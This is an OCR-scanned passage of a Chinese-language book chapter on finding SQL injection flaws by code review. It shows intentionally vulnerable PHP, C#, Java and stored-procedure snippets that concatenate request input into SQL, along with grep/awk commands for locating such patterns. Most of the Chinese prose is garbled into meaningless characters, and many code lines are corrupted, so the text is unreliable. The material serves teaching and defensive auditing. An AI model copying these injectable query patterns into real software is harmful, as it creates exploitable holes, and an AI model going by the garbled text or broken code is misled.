2. EERHIZEE, SHFEIRMNAH KA O LG AIR)HF 18RI LU E] A Sparam X B IKE
WAL E . N HHEES T PHP AUFSAT R LR AAS:

Sparam=%_GET["param"];

FRARASAT Ry $param ASF AL T —ANFH ) S HITR HOE

HANORZ G, - EPRER N DRI B 47 B Ay . mE T BRER SR AT i FE ok
SEIZ E BT, W BB IR B R BAAEAE N IEI AT PHP ARARY, T nT DAMTE B FE H P AT Y
$param ZHFTF7E SQL E A IR

Sparam=% GET["param"];
Sresult=mysgl query("SELECT * FROM table WHERE column='S$param'");

AR AE SQL FEARH, b e EHOKE RS 28 B (Sparam) & 843 T ZhS & Y
SQL BN R)H AT« W R BREZ A IRAFAE T 1H =47 PHP 4C8S, WIRIFE AT LT E FE /P
{F7E SQL EAR, HA A KBEBAT T BRE. XEORE TTRHE 75 e BuhR A%
R 8P RT I AA IR PRSlimit 38 8 LLAER AW B A7 7C 2 KBEA TR

Sparam = $ GET["param"];
if (strlen{($param) < $limit)[errorvhandler(“param exceeds max length!™)}
Sresult = mysql_gquery("SELECT * FROM table EHERE field = 'Sparam'");

HURAERRBR L PR R R BT BT PHP A0S, AT LAHERI T R A R 7E KB BLLE SQL A

Sparam=nysgl real escape_string(Sparam);
S$result=mysql query("SELECT * FROM table WHERE field='$param'");

magic_quotes()- addslashes()Fll mysql_real_escape_string()% e ¥ i 52 2B 1E SQL iEA R
o BXA 1 R H AR I B 4RI T e & A BUilr & AU IRTEIR (il & . IEB A ank, FAIAT
DAHE T A 78 R 7 #8511 Sparam 2 3 1 77 4F 5 52 Bt 9 SQL i A.

M Bt FE TR T R e Frh el UR IR, FEE ARG LLF K SQL FEARIR
W R MO R . LT MRS RIFIREA T A RO M AR EE, HAVXFARER
St A2 B e R RS2 R OB N, FFAE 58 A T ORATE SE B HERR R R F O BT AT #E . REE—Fh
R YW1 0T MFAE B 7Y TAEGEFT S HIR B 3 1F B B 5 3 7E SQL {E NI A7 7F (BRANFTE).

Je B R AT, NAZAE AR P N (R fE O A bR B SR U £ ST R AT SQL
EAJGBAN BRI RE, ARG WA BRI S, F P SRR A B 4R I L R M (B
ANR), e Ja 8 i B BT R SR BRI P B s LA TR R RE B A A BB E#
B, BERORAF AT LG 2 U R AT TEIRTR LA AR R SR A B9 P AT k.

HE T R &%, TUaE MEAMAREAEMESRSG — M EFRIRIE
RSP R MR TR R . SR RR— 2B F, 4 BINBTE PHP. C#MI Java fR
P E A A A . R DUR X S e B AR N ) B AR E S, FSUE e 13 iR B0 3 Ak
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AR H A .
3.21 BERRSRE3ITA

BEHATH R AOFAE E A I RBFTE SR SQL AR, BN ERK S ERAHRIT
K, HEWMA T shATRF B ERARNRED. 51 &K “1.6.3 E# SQL AN AR —
WTAH T EIXFE AR X R, SSERTE WA MR B2 RS F P ER KD
iTH.

B E— FMEM TARMATHER ZHF S, EFSRBRENMACRERIENEI)HME:

// a dynamically built sgl string statement in PHP

$sql = "SELECT * FROM table WHERE field = '$§ GET["input"]'";

// a dynamically built sgl string statement in C#

String sql = "SELECT * FROM table WHERE field= '" +
request.getParameter ("input™} + "'";

// a dynamically built sgl string statement in Java

string sgl = "SELECT * FROM table WHERE field = '" +
request.getParameter {"input") + "'";

B TR0 PHP.C#RI Java JEARFS IR T FELETF RN R an i ) A 43 JF AT SQL iR+,
XEEAPRE T ARLRUER A P S EE . SEFARD S ER R, ZERESE IR HIXHE K%
AT, X—AREE,

// a dynamically executed sgl statement in PHP

mysgl guery("SELECT * FROM table WHERE field = '$_GET["input"]'"}:

// a dynamically executed sgl string statement in C#

SglCommand command = new SqglCommmand ("SELECT * FROM table WHERE field = "" +
request.getParameter ("input”) + "'",connection);

// a dynamically executed sgl string statement in Java

ResultSet rs = s.executeQuery("SELECT * FROM table WHERE field = '™ +

request.getParameter ("input") + "'");

HETFR A RA DB ARSI IATEIE SQL B4, M2 EEEEIRIEA S IR T
FERLFE, MARBBBMASZ R Y. HFEn, Rl RE42 3 SQL AR,
AR TR R — P AR AR HOR B rh HIR A 5 2 B PRI SQL 1B AJ4E. P2~ 5 Z B % ik 9 SQL
Server f7fifid F2 IPRAIS

// vulnerable stored procedure in MS SQL

CREATE PROCEDURE SP_ StoredProcedure @input varchar (400) = NULL AS
DECLARE @sgl nvarchar (4000)

SELECT @sqgl = 'SELECT field FROM table WHERE field = ''' + @input + ""
EXEC (@sgl})

7 2B 7, @input BREEK AR EAIFE SQL TR H B W@sqDIEE, % SQL

P RE NS HUE S EXEC ¥ EHIT. BIMERHE S MAENSEERS AR SQL
Server fEf%ITHE, XA HRE RS 23 SQL HF A Kt .
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AT T 5 52 SQL I ABEE B E I AN KA SQL Server —Fb. FHE— B2 Bt
) MySQL 77 it 2 AR 4859

// vulnerable stored procedure in MySQL

CREATE PROCEDURE SP_StoredProcedure (input varchar (400))

BEGIN

SET @param = input;

SET @sgl = concat ('SELECT field FROM table WHERE field=', @param);
PREPARE stmt FROM @sqgl;

EXECUTE stmt;

DEALLOCATE PREPARE stmt;

End

7 R FH, input FEREFERAHFBANS SQL £& B(@sq)HliE, 1% SQL F &
1A S Ht5i84h EXECUTE M¥OFEHIT. WK FAE b S HEid4 FRE MySQL £
%I FE, ZTFET RN R 5523 SQL AR T .

5 SQL Server fl MySQL #¥#5FEA A, Oracle 48 FE A7 1L 720 5 2 B SQL ¥ A Brids.
THEE 552 B Oracle f7 i FEEIUEALHS

-- vulnerable stored procedure in Oracle
CREATE OR REPLACE PROCEDURE SP_StoredProcedure (input IN VARCHARZ2) AS
sgl VARCHARZ;

BEGIN

sgl := 'SELECT field FROM table WHERE field = ''' || input | "";
EXECUTE IMMEDIATE sqgl;

END;

£ EIRBIFH, input ZREFER HH P BAIE SQL FRFH(@sq)fAE, % SQL FHf&H
YEh S8 fki#%s EXECUTE BREUF BT . R A P BIAVE D S 5tk 4 BRI Oracle 77 %
g, EAMEEREERIER 52 E SQL EAK T

RN AT UME RN R 8 3k SRR AR B, FRBR KA TR RN
R F AT E LR

// a dynamically executed sgl stored procedure in PHP

$result = mysqgl_guery("select SP_StoredProcedure($_GET['input']l)");

// a dynamically executed sgql stored procedure in C#

SglCommand cmd = new SglCommand("SP StoredProcedure", conn);

cmd, CommandType = CommandType.StoredProcedure;

cmd.Parameters.Add (new SglParameter ("@input",
request.getParameter ("input")));

SglDataReader rdr = cmd.ExecteReader():

// a dynamically executed sqgl stored procedure in Java

CallableStatement cs = con.prepareCall("{call SP_StoredProcedure
request.getParameter ("input") }");

string output = cs.executeUpdate();



76 SQLEABGHSHE#E

HIRARTL L% P PR R S AR R ) SR e ey SQL A RE. R Eimby
FRRBMAER T BB EMHLRE, GBI FHMN SQL EANRF. X ML
BREER, SEEAREN, AUERBNHTRARENER, LA F 448 EH SQL Hg
BHATE B . A4 AW R G nl DA BNIEH 7o/ BT R A=A 5% SQL AT
RRBAEFE . EXEF FHRTEEAY, SREES AR 7T 2 A6 77 RS I AT
SQL iE4), WANFERBXLIL(EHEM “3.2.2 BRAAE” — o5 C#. PHP I
Java PRI _

SHER B EAS T R EEERE, FUE R NAGRA SGEANR) USSR FERE S
BRI AR B 3 AC SQL B4y, BEIIX—HE, BHEREH EHINSA R WATEEAN
MR . SRRIRE S BRA TR EARM A SR . SREUH PR R 7 iE
RAFH HTML £ 8., T3] HTML /A8 08 T ffl 65 — 4> Web R H.:

<form name="simple from" method="get" action="process_input.php">
<input type="text" name="foo">

<input type="text" name="bar">

<input type="submit" value="submit">

</form>

fE HTML 1, ATLLGER B8 E BIFP AR E RS Jri%: GET #1 POST. HJLLE FORM JG&E
A i Ad il METHOD Ji ¥k 3R 5 5z LA FH 322 732 GET Ml POST HiEi EEE R TATRE
BOEIRID ik L. EIRFE AR GET Jiik, B Web L3878 URL 1 X 2 BL 4 BE 4T 9
. tnRREAEHAEE POST ik, WRBEIH LnE MNMHEED . WRMER POST 7%
BT FpEy, WESERIEFFE S “http://www.victim.com/process_input.php”; T 21 R A¢
GET Wiz LkE e, BATEHMAETEHEIMA RN “http//www.victim.com/process_
input.php?foo=input&bar=input”.

S5 N AR ABRHET R BT HRETERIRPRZHH AT
PLZE URL HFEHRE). EEHEFHRH, FHMS@&BESSC)7TRSYE FASFSE R
SN LFAME. BT GET JiER7E URL X EUER##HIT4RES, M URL MK E &2 2048 4
FH, FLAMZTEEAEAE KN R E. POST kN A K/ #l. ACTION JatH T8 € fi i kb
R P AN URL.

Web 3 F ¥F AT L ] Web cookie. cookie &2 —Fil LS, RS uidedi vl (& e RAF A%
Ry &R P OERENE R. Web T & A AT/ cookie £ FHLEE ELRTFE R, HAELFHIFTB
YR E A B . NRTFE A RET LER HTTP sk. HTTP k#R  HTTP 3§ KN #,
EAIE HTTP Wb e B2, e e X T i R8s s S 3R 8EE iy T Fhar .

Web i 4-28{# ] PHP &bF HTTP ik, PHP ¥f HTTP 1K A8 i1 B R B TISE X
HIZEE . PHP FFRA S ol TR B BER PRI

e $ GET, —/NXEBE¥4, FiUlid HTTP GET Jikfid 4 & .

e S$HTTP GET VARS 5$ GET #i[F], 7£ PHP4.1.0 F &5 H.
$ POST, — KB4, 7R HTTP POST JTiEfiE IR .
$SHTTP_POST VARS 5$_POST #i[F, 7L PHP4.1.0 ‘P25 A,
$ REQUEST, — M XEH4, A4S _GET. $_POST f1$_COOKIE %
$ COOKIE, —/3CH¥i4, F#HGEIT HTTP cookie {445 MATIHA A& & .



EIE EEFRWUPHSALEAN TT

e SHTTP_COOKIE VARS %8 _COOKIE #i[fl, 76 PHP4.1.0 FC# .
e $_SERVER, fR55&%KHATHERIER.

e SHTTP_SERVER _VARS 5$_SERVER #i[[, 7 PHP4.1.0 ¥ &% .
THMRESAT ULRR T a0 fal 46 PHP R v 4 H 3 426 R 3 -

// $_GET - an associative array of variables passed via the GET method
S$variable = $ GET['name');

// SHTTP_GET_VARS - an associative array of variables passed via the HTTP
// GET method, depreciated in PHP v4.1.0

$variable = $GET_GET VARS['name'];

// $_POST - an associative array of variables passed via the POST method
$variable = $ POST(['name'];

// SHTTP_POST_CARS - an associative array of variables passed via the POST
//method, depreciated in PHP v4.1.0

$variable = $HTTP_POST VARS['name'];

// $ REQUEST - an associative array that contains the contents of $ _GET,
// $_POST & $ COOKIE

$variable = $ REQUEST(['name'];

// $_COOKIE - an associative array of variables passed via HTTP Cookies
S$variable = $ COOKIE['name']

// $_SERVER - server and execution environment information

$variable = $_SERVER['name'];

/7 SHTTP_DERVER_VARS - server and execution environment information,

// depreciated in PHP v4.1.0.

$variable = $HTTP_SERVER_VARS['name']

PHP W& —AMRH 4 1118 B —register_globals, A LL7ZE PHP fI B B S (php.ini) o0 H
AT R B LAE# EGPCS(Environment. GET. POST. cookie. Server)i: 4 R, i,
AR AT HF register_globals, W) URL “ http://www.victim.com/process_input.php?foo=input” A~ 75 2
FAAREBEI T $foo A RER(LUBEFETEN LB, ERAWE, ©O2us
F BIREERAE T RAPRA). WRMAA T register_globals, WA LA INPUT 76335k K 2
MAJEAT LU HTML 2 % 9h  name JB MR B 'S, Hln:

Svariable=5foo

Java HEERAE S I, BT LUE SR SORENEE HTTP iR P 2 27 3 5 %48 Web R
FARHME. R BNGE R Web R ERIKEVE, SRS HTTP % R4 84 IRE 28, &k
X R AEFE NI TR HitpServietRequest, 18 FH AT ] LU ik javax.servlet. HttpServletRequest. i
RINGEERE L, BATIE T LLTEFH £ 8 158 %

e getParameter(): IR[AIFTIN K AG4 e SR,
getParameterValues(): LLE(AA 5 =CiR P45 58 S804 Sk T A 1A
getQueryString(): IR [BIERK & il F 7 4.
getHeader(): &[] i K Sk (448
getHeaders(): DUKL2AS 779 st B 100 75 20 R [ 57 328 R Sk 9 4 o
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SQL EAEH S

e getRequestedSessionld(): 1R [E]% /%8 € 1 Session ID,
e getCookies(): IR —% cookie M % .

e cookie.getValue(): IR [FIFTiH KL E cookie HI{H.
FHARRSAT UL B T AT £ Java I FH o 4 FH 0K 422 R 4«

// getParameter() - used to return the value of a requested given parameter
String string variable = request.getParameter ("name");
// getParameterValues() - used to return all the values of a given

// parameter's request as an array

String[] string array = request.getParameterValues ("name");

// getQueryString() - used to return the query string from the request
String string_variable = request.getQueryString();

// getHeaders (0 - used to return the value of the requested header

sting string variable = request.getHeader ("User-Agent");

// getHeaders (0 - used to return the value of the requested header as an

// Enumeration of String objects

Enumeration enumeration_object = request.getHeaders("User-Agent");

// getRequestedSessionId(}) - returns the session ID specified by the client
String string_variable = request.getRequestedSessionId();

// getCookies () - returns an array of Cookie objects

Cookie([] Cookie array = request.getCookies();

// cookie.getValue() - used to return the value of a requested given coockie
// wvalue

String string variale = Cookie_array.getValue{"name");

7E CH#N AR, FFR AR AR System. Web #6745 28] T # HttpRequest 2. HttpRequest

KA HTTP WRAB R BL BT A S SBEARARE ., IEEMLERFILHRN
BRI, B CGIAMXEN)RFB/ER. FHERZRMEETIR:

e HttpCookieCollection: %/ 4 7E 4§ i K 148 BT H cookie K& o
Form: THBZLHE P NE RN REANES.
Headers: % P SifE il R P L@ T A LI E .

Params: i &wHFAFH. KRB, cookie MIIRF#HBRMAGHE.
QueryString: X4#7iE KA EMFHFEBAES.
ServerVariable: RIHKMIFTH Web IRFBERKES.

Url: EEI—/ Ur KRIFX R .

UserAgent: 08 A& Hi#k i@l S 28 10 F P AREEL
UserHostAddress: 135 % F' i[RI F2 IP Hikt.

UserHostName: & &R ENL.

FEARISAT UL T WA 7E CHIN AT b {8 R X A oR B

// HttpCoockieCollection - a collection of all the cookies
HttpCookieCollection variable = Request.Cookies;
// Form - a collection of all the from values

string variable = Request.Form["name"];
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// Headers - a collection of all the headers

string variable = Request.Headers(["name"];

// params - a combined collection of all querystring, form, cookie, and

// server variables

string variable = Request.Params["name"];

// QueryString - a collection of all guerystring items

string variable = Request.QueryString["name"];

// ServerVariables - a collection of all the web server variables

string variable = Request.ServerVariables(["name"];

// Url - returns an object of type Uri, the guery property contains

// information included in the specified URI i.e ?foco=bar.

Uri object wvariable = Request.Url;

string variable = object variable.Query;

// UserBAgent - contains the user-agent header for the browser

string variable = Request.UserAgent;

// UserHostBddress - contains the remote IP address of the client

string variable = Request.UserHostAddress;

// UserHostName - contains the remote host name of the client

string variable = Request.UserHostName;

3.2.2

fekrIeR

AR T AN BN B At R DL B A BRI S B R LMEHI B i B
15225 T — S R I fE R g TDAT b, IXEAT N R AT SR N« 3745 H iR
ARG a] LLEE BYRRATIFE 40 B TT A A PE 4 55 52 SQL VE AL AR IS AR . HIX 24170
BIAES, SRGAEE S RN T REARRM T RMEFAT SQL ), BAIHEMBIZL
FriE. AL EMFI X, I M E N8 RE] . FATE PHP BIASIE 5146

PHP L FhEREE] 7, 515 http://www.php.net/manual/en/refs.database.vendors.php
KA THE. RFEMER N, AT ESELRE LREEE . TErgsih 1
5 MySQL. SQL Server Fil Oracle 3 B AH 5% i) PR £

mssql_query(): [5] 24 {3 A I 808 ROE — 41K

mysql_query(): [ 2431 fif FH {¥) %3k P R i — 4R Ko

mysql_db_query(): EFE—NEEE, 7EE LEMAT KITH(PHP 4.0.6 ©FH).
oci_parse(): 7B AT Z AU H AT (FE oci_ execute ()/oci_execute ORI
ora_parse(): & AT Z RTREAT MR (ZE ora_ exec ()R H).

mssql_bind(): FIFFRERLFES N — B H(TE mssql_execute()RITHT).
mssql_execute(): AT —MFRELEE.

odbe_prepare(): & —FHITIEAI(FE odbe_ execute()HU THI)»

odbc_execute(): AT —% SQL iEH].

odbe_exec (): #E& AT —% SQL iBEA).

FHVRELT B T 1T 25 PHP PR G FAX R 8

// mssql_gquery() - sends a query to the currently active database
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$result = mssql_query(3sgl);

// mysql_guery() - sends a query to the currently active database

Sresult = mysql gquery($sql);

// mysgl_db_query{) - selects a database, and executes a gquery on it

$result = mysqgl_db_guery (Sdb, Saql);

// oci parse() - parses a statement before it is executed

$stmt = oci_parse($connection, $sqgl);

ociexecute (Sstmt);

// ora parse() - parses a statement before it is executed

if (!ora_parse($cursor,$sql)) {exit;}

else { ora_exec($cursor);}

// mssgl bind() - adds a parameter to a stored procedure

mssal_bind{&stmt, '@param’, Svariable, SQLVARCHAR, false, false, 100);

Sresult = mssqgl execute($stmt);

// odbc_prepare() - prepares a statement for execution

$stmt = odbc prepare ($db, $sgl);

$Sresult = odbc execute($stmt);

// odbc exec() - prepare and execute a SQL statement

$result = odbc_exec($db, $sql);

Java PG E A . Java R4 T javasql 8, NEAEEZEREEM T IDBC(Java IE F
HEB)API(N TSR D). EIRER Java M) BEAA, i§U51A http:/java.sun.com/products/
jdbc/driverdesc.html. JiFFBTAR W, BATRE SOGE)LAE R EERE] . FmFEdss Ty
MySQL. SQL Server # Oracle (3 &2 #H 5C e/ L

e createStatement(): I —MiE AR LAE (A ¥dE R A% SQL iEA.

e prepareStatement(): GIFE— 4 B4R FM SQL iBAIIFH HARTFRIXI B P .
executeQuery(): T4 E ) SQL 1EH].
executeUpdate(): HAT45EH) SQL iEH).
execute(): TAITERE M SQL 4],
addBatch(): H#455E Ay SR N B M ETdr 2 SR P .
executeBatch (): R #(HE SR 2L — B HATHIM L -

THRIBAT UL T 404l £E Java N7 FH {8 FH X L R 4

// createStatement () - is used to create a statement cobject that is used for
// sending sql statements to the specified database

statement = connection.createStatement():

// PreparedStatement - creates a precompiled SQL statement and stores it

// in an object.

PreparedStatement sgl = con.prepareStatement (sqgl};

// executeQuery() - sql query to retrieve values from the specified table.
result = statement.executeQuery{sgl);
// executeUpdate () - Executes an SQL statement, which may be an

// INSERT, UPDATE, or DELETE statement or a statement that returns nothing

result = statement.executeUpdate(sgl);
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// execute() - sgl guery to retrieve values from the specified table.
result = statement.execute(sgl);

// addBatch(0 - adds the given SQL command to the current list of commands
statement.addBatch (sgl);

statement.addBatch (more_aql);

IF e nfRETRRLBA0, Microsoft Ml CH#IF R A B EHH M EAAR. NAFFRARE

HF iy 4245 1) -

e Systemn.Data.SqlClient: SQL Server #].NET Framework Data Provider(NET HEZ25(#5 %
).
e System.Data.OleDb: OLE DB [¥].NET Framework Data Provider.
e System.Data.OracleClient: Oracle ff].NET Framework Data Provider.
System.Data.Odbc: ODBC [).NET Framework Data Provider.
‘FE?J HH 9 72 ) 3 X e iy 44 =2 [ v (19 2K
SqlCommand(): Fi T 49iti/ &% SQL & BA7 L #5 .
SqglParameter(): i TIi] SqlCommand X & INZ#.
OleDbCommand(): T HiE/Ki% SQL & f)EAF L.
OleDbParameter(): FJ T 14 OleDbCommand Xt &N 3.
OracleCommand(): FFHifs/ &% SQL B ERAFig L2 .
OracleParameter(): F T [i OracleCommand % %% NS .
OdbcCommand(): F i/ &% SQL & Rk .
OdbcParameter(): Fi ¥ [ OdbcCommand Xf R #5115 (.
TFHREAT R T QU 7E CHN i RlIX g2

// SglCommand() - used to construct or send an SQL statement
SglCommand command = new SglCommand(sgl, connection};

// SglParameter () - used to add parameters tec an SqglCommand object
SglCommand command = new SglCommand({sqgl, connection);
command.Parameters.Add("@param”, SglDbType.VarChar, 50).Value = input;
// OleDbCommand() - used to construct or send an SQL statement
OleDbCommand command = new OleDbCommand(sgl,connection);

// OleDbParameter () - used to add parameters to an OleDbCommand object
0OleDvCommand command = new CleDbCommand {$sqgl,connection);
command.parameters.Add("@paran”, OleDbType.VarChar, 50).Value = input;
// OracleCommand() - used to construct or send an SQL statement
oracleCommand command = new COracleCommand(sqgl,connection);

// OrcleParameter() - used to add parameters to an OracleCommand object
OracleCommand command = new OracleCommand(sgl,connection);
command.Parameters.Add("@param”, OleDbType.VarChar, 50).Value = input;
// OdbcCommand() - used to construct or send an SQL statement
OdbcCommand command = new OdbcCommand (sql, connection);

// OdbcParameter(} - used to add parameters to an OdbcCommand object

OdbcCommand command = new OdbcCommand(sgl, connection);

81
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command.Parameters.Add("@param”, OleDbType.VarChar, 50).Value = input;

3.2.3 RERYE

RITE LRI HERE T Web NI IRBERAN, TR A R 78 H78% 5935 = oh (8 FR s
B Tr BRI ERRE DL RN RIOHRISIT A2 S BUHIL SQL HARIA, B FREMWLEEE
FHRAZARIR L, FERFEFS SQL AN A R A s 0%8aE. BRI
KRB REITER R GIfE R RGBSR R FFE.

AT U@ A F ST 444 4 88 8T % TDE(Integrated Development Environment, 8% FF & 2 5)
HEG ITRERFHEEFRG. EXR—-ANAREEE. ERRIETRR. B350 R
HRGREAR N F T ARENNN, BEEEBNTERER UNIX TR gep(ARERT
Windows #&%). FAGMERESWRETRESRREMNTERER. LEEA, FMEET
MEBIERMHE. AT SQL EA), FrURINFES S — NG RR AR 2 T8 R 25
B, LUHKIRG&¥ 22 SQL i A B MACHL4T .

TREMR?

grep R —RKPATIXAMELEL, RIA4T UNIX BBoh, RAZEAK S
UNIX JR & 6934E R 46 £, Hode Linux 42 OS X, I/, grep B #£i& A F Windows, T 1A
A\ http://gnuwin32.sourceforge.net/packages/grep.htm £ F#2], 4o R & &k 4d B4 49
Windows TR-5&, RIST AR findstr 4%, & 5T oA E R AGA X3 & XA o 3% 2 A0
#) XA, #i7 ¥ http:/technet.microsoft.com/en-us/library/bb490907.aspx ¥A IR 3E 3% 7 &
LU e '

BH—AEFARG TR —awk, TR —FEBAZES, A FLE S5
AP ETF XA, awk ERIAZEA KRS S UNIX R A 69345 A% L. Windows
R P AT AMZ R awk TR, A http:/gnuwin32.sourceforge.net/packages/gawk.htm £ F
#3] (GNU awk).

1. BE PHP hi0lE

BATESCM PHP N FF 46 - 76 25 PHP JR{RFS.Z AT, 5K 2 register_globals F magic_quotes
FPRZ, X—RIAFHER, WLYE PHP R UM (php.ini) FACE XL B . register_globals 4
5148 EGPCS ZRIMA A RHER, XBHELSIIRBERA, EYAFATUEWEN. ERY
gk, PHP 4.2.0 BRARAI T %zhfe, RNidALENHBEEAREIERIEIT. PHP 5.3.0 FHT
magic_quotes 3£, 1fi PHP 6.0.0 ¥ # B i%i% . magic quotes /& PHP SLHLI—Fh 244,
RIRBITHOBE N AN ERERENFR, LTS, WEE. RYLH NULL £7.

FH R NETRPRASE, EFFHR BRI, 7L F 5648 i8R — E S
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B, FHREMH T mssql_query().mysql query()F mysql_db_query() B BRI - A A 3 SQL
BRI . e BITENE A TILERE N BRI SCHBMITS, HAEA awk S8 H#T R

$ grep -r -n "\ (mysql\|mssqgl\Imysql_db\)_gquery\ (.*\$_\(GET\|\POST\).*\)" src/ |

awk -F : '{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n\n"}'’

filename: src/mssql query.vuln.php

line: 11

match: $result = mssgl guery("SELECT * FROM TBL WHERE COLUMN = '$ GET['var']' ");
filename: src/mysql_gquery.vuln.php

line:13

match: Sresult = mysql query ("SELECT * FROM TBL WHERE COLUMN = 'S GET['wvar']' ",
$link);

AT LME A T 5 ar 48 iR R — MR SCF B R, F#AEM T oci_parse()f ora_parse() H.
HEKH PN SQL EAM . XL R EOKR LT oci exec (). ora_ exec ()l oci_
execute O# 4R SQL 4.

$ grep -r -n "\(ocillora\)_parse\ (. *\$_\(GET\|\POST\).*\)" src/ | awk -F :
"{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n\n"}'

filename: src/oci_parse.vuln.php

line: 4

match: $stid = oci_parse($conn, "SELECT * FROM TABLE WHERE COLUMN =

'$_ GET(['var']' "):

filename: src/ora_parse.vuln.php

line: 13

match: ora_parse ($curs, "SELECT * FROM TABLE WHERE COLUMN = '$§ GET['var']' "};

A LMEFH T3 dr 2@ a8 R — MR ER, FEMEAT odbe_prepare()Fl odbe_ exec ()
BHBHBHPBAFBAZ SQL EAJH L. odbc_prepare(PKi{5% T odbe  execute () Fm kAR
SQL #&4].

$ grep -r -n "\ (odbc prepare\|odbc_exec\)\ (.*\$_\(GET\|[\POST\).*\)" src/ |
awk -F : '{print "filename: "$1"\line: "8$2"\nmatch: "$3™\n\n"}’
filename: src/odbc_exec.vuln.php

line: 3
match: $result = odbc exec ($con,"SELECT * FROM TABLE WHERE COLUMN =
‘SvGET['var']‘ ")

filename: src/odbc_prepare.vuln.php

line: 3

match: $result = odbc_prepare ({(Scon, "SELECT * FROM TABLE WHERE COLUMN =
'$_GET['var']' "):

AL FHldS @A R —MFEEEHZR, FRMEAT mssql_bind) HEEH A
AN EF) SQL BAIHI L. ZeR R RS T mssql_executeO# 4w i AL SQL &,

$ grep -r ~-n "mssqgl bind\(.*\$ \(GET\ | \POST\).*\)" src/ | awk -F :
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'‘{print "filename: "S$1"\nline: "$2"\nmatch: "$3"\n\n"}"'
filename: src/mssql_bind.vuln.php

line: 8

match: mssqgl_bind($sp, "@paramOne", $ _GET['var one'],
SQLVARCHAR, false, false, 150);

filename: src/mssgl bind.vuln.php

line:9

match: mssgl bind($sp, "@paramTwo",

$_GET['var two'],SQLVARCHAR, false, false,50};

PILAREIX LS grep .y &ATREFF & 3F B — /MBI shell BIAE XM WA TEIB B8, LAMERE
A XML, HTML. CSV RH ALl . aTLMER A/ B8R E RITA A5 RIF B,
EEAR A A BIFF A BT SQL B I BB Hhit, XS N RS RIETI H K A GET
Bl POST ¥, MBE: BARBIFEANRELHAMANSLE SQL EAIRIHF A HBITH
iE, {EAfIEERMAERILS T ardE. Gl THARESZRBGE, [EBRAEH M
PR grep F1F B LR RBIXFERALFDAT

$sql = "SELECT * FROM TBL WHERE COLUMN = '$_ GET['var']' ™
Sresult = mysgl query($sqgl,$link);

IEAZAB K grep T d3 LAE REIR 7 X S ok B . @l

$ grep -r -n "mssql_query(\|mysgl_query{\mysql db_query(\|oci_parse
(\Mora_parse{\imssqgl_bind(\|mssgl_execute(\|odbc prepare (\|odbc execute
(\lodbc_execute(\|odbc_exec("src/ | awk -F : '{print "filename: "$1"\nline:
"S$2"\nmatch: "$3"\n\n"}'

RS AMNEE R B Z AT grep F4F i BEIRR H BT HARDAT . hsh, BEEAEIRHIH
AR R AR TR R E S, DUAREHEFHRENIT. B, &nT L)
HFFIAT:

filename: src/SQLi.MySQL.vulnerable.php

line: 20

match: $result = mysgl query($sql);

mysql_query() ek BT T A S50 18 O BARFE RO — & &, WAIRIAT T el LUE iR 5
IEFEER . HREMFAMESsql HEKE, CTREE FEHITH SQL HA, HIRAN
TEFIEERE ZHH P MARERNERE ZEEZBEE. Fik, HiLEAR RS fFER
o BRATFHEIRERSsql &l AT T3 ar 4 LM% HM:

$ grep -r -n "\Ssgl" src/ | awk -F : '{print "filename: "$1"\nline:

"$2"\nmatch :"$3"\n\n")"

ERGLFEMNTER: FRARSECEARERMERAFLNELE T, Rkt
AR FTHERBALAAG RIEALE R, LRI 2T RAEEE K SQL 44 kiult
ZF . Z2AER T3 grep dr4 LLHBIARS B B A SQL A I B A
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$ grep —i -r -n "\$sgl =_*\"\ (SELECT\ |UPDATE\ | INSERT\ |DROP}" src/ | awk —-F :
'{print "filename: "$1"\nline: "$2"\nmatch :"$3"\p\n"}'

SEIBMIE, HoH R IR —KLACE, WTFHTR:

filename: src/S5QLi.MySQL.vulnerable.php
line: 20
match: $sgl = "SELECT * FROM table WHERE field = '$ GET['input']®™

IR ST EH  “$sql” XREARBFNB RS, A RESTEE AR ¥R 4 R E
?E%frf Fﬁﬂ%‘—ﬁﬂf&ﬁf’ﬁﬂﬁﬁiﬁﬁﬁ‘ﬁl{a\ B, KEigRe. M B ST BURER, SQL

E4ijf: SELECT iE4A], H H24 A P #HEECELL GET ke NADMIER, %5
%zéﬂﬁ*\jb name. iXHTE]TLLE{SHET E 2R T - SQL Wi, BEAM input ZHIRIMH
FOBARFEAL 4 o B GR RBOAT U I S A ) 2T & 58sql EREET . AdH
W2 T A

filename: src/SQLi.MySQL.vulnerable.php
line: 20
match: $sgl = "SELECT * FROM table WHERE field = 'Sinput'"

MR P ET AR B, SQL iE4) & SELECT iff), B 5% — A ESinput EHAET —
#. WATAENESinput ZFRMME, BASNE R P R R S R 2 R . K
MR R AR . BT EREESinput B . ol fFH FFI44 LBz A

$ grep -r -n "\$input =.*\$.*" src/ | awk —F : '{print "filename: "$1"\nline:
"$2"\nmatch :ll$3‘l\n\nll] L)

iR Ay A KR TA b Sinput R TEX LMK H HTTP WKk, BiES_GET,
$HTTP GET VARS. $_POST. $HTTP_ POST _VARS. $ REQUEST. $_COOKIE. $SHTTP_
COOKIE VARS. $ SERVER FISHTTP_ SERVER_VARS)IJ7R#, LR AR fth2E 5 4 $input
B RIR(E ARG, T R ATLAR R, Sinput 285 CL4 8 POST HikiIRATM M EHE
WRET:

filename: src/SQLi.MySQL.vulnerable.php
line: 10
match: $input = $_POST['name'];

BLZEBATI4NIE, Sinput BB B2 H—AET HTTP POST i R$28 H ey Al /- #2541 11 2 30w
{4, %54 SQL EAMERE T~/ M E I F 4 R ($sql). iZ% SQL iBA#H T Rfe
B AR, %A BTV M) MySQL R SQL .

SIHBTG L, AT BEEAS R A AR A B ZEZE IR IR, At RRATIUY AR JE i 5 Sinput AR
BT RS, BERENEIZTE PO AP EHNEEE, AOERTEIMIERUREZERES.
AI{F ] F Pl a4 L% H 8

$ grep -r -n "\$input" src/ | awk —F : '{print "filename: "$1"\nline:
"$2"\nmatch :"$3"\n\n"}’'
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B B4 RIREIZ TSR, BoA@EaClHfEHEERE. BRI TEREBREIE T
TS

filename: sre/SQLi.MySQL.wvulnerable.php
line: 11

match: if (is string($input)) {
filename: src/SQLi.MySQL.vulnerable.php
line: 12

match: if (strlen($input) < Smaxlength) {
filename: src/SQLi.MySQL.vulnerable.php
line: 13

match: if (ctype_alnum($input)) {

ERE HIERAFF RN B3R PSRN S BT T REMARIE. Sinput R IEAEEZHE
UREER — /6. FEUFELRRSFRETFR. RINAECEREEE T MATH
RPN, RRWTAEBOCR, TURBAEEEFERN. RERNE, RINGEBRM
UEHERSCFF B CRIRKTT .

